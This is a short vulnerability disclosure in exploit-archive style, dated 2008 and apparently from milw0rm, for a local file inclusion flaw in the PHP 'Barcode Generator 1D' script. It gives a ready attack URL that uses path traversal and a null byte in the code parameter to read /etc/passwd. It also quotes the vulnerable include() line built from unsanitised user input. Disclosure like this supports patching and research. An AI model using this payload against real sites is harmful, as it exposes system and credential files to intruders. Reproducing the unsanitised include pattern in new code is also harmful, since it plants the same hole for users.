45 lines
No EOL
1.6 KiB
Text
45 lines
No EOL
1.6 KiB
Text
:::::::-. ... ::::::. :::.
|
|
;;, `';, ;; ;;;`;;;;, `;;;
|
|
`[[ [[[[' [[[ [[[[[. '[[
|
|
$$, $$$$ $$$ $$$ "Y$c$$
|
|
888_,o8P'88 .d888 888 Y88
|
|
MMMMP"` "YmmMMMM"" MMM YM
|
|
|
|
[ Discovered by dun \ dun[at]strcpy.pl ]
|
|
|
|
###################################################################
|
|
# [ barcodegen <= 2.0.0 ] Local File Inclusion Vulnerability #
|
|
###################################################################
|
|
#
|
|
# Script: "Barcode Generator 1D"
|
|
#
|
|
# Script site: http://www.barcodephp.com/
|
|
# Download: http://www.barcodephp.com/download.php
|
|
#
|
|
# Vuln:
|
|
# http://site.com/[barcodegen.1d-v2.0.0]/html/image.php?t=1&r=1&text=1&f1=1&f2=1&o=1&a1=1&a2=1&code=/../../../../../../../etc/passwd%00
|
|
#
|
|
#
|
|
# Bug: ./barcodegen.1d-v2.0.0/html/image.php (lines: 2-8)
|
|
#
|
|
# ...
|
|
# if(isset($_GET['code']) && isset($_GET['t']) && isset($_GET['r']) && isset($_GET['text']) && isset($_GET['f1'])
|
|
# && isset($_GET['f2']) && isset($_GET['o']) && isset($_GET['a1']) && isset($_GET['a2'])) {
|
|
# require('config.php');
|
|
# require($class_dir.'/BCGColor.php');
|
|
# require($class_dir.'/BCGBarcode.php');
|
|
# require($class_dir.'/BCGDrawing.php');
|
|
# require($class_dir.'/BCGFont.php');
|
|
# if(include($class_dir . '/BCG' . $_GET['code'] . '.barcode.php')) { // LFI
|
|
# ...
|
|
#
|
|
#
|
|
###############################################
|
|
# Greetz: D3m0n_DE * str0ke * and otherz..
|
|
###############################################
|
|
|
|
[ dun / 2008 ]
|
|
|
|
*******************************************************************************************
|
|
|
|
# milw0rm.com [2008-09-24] |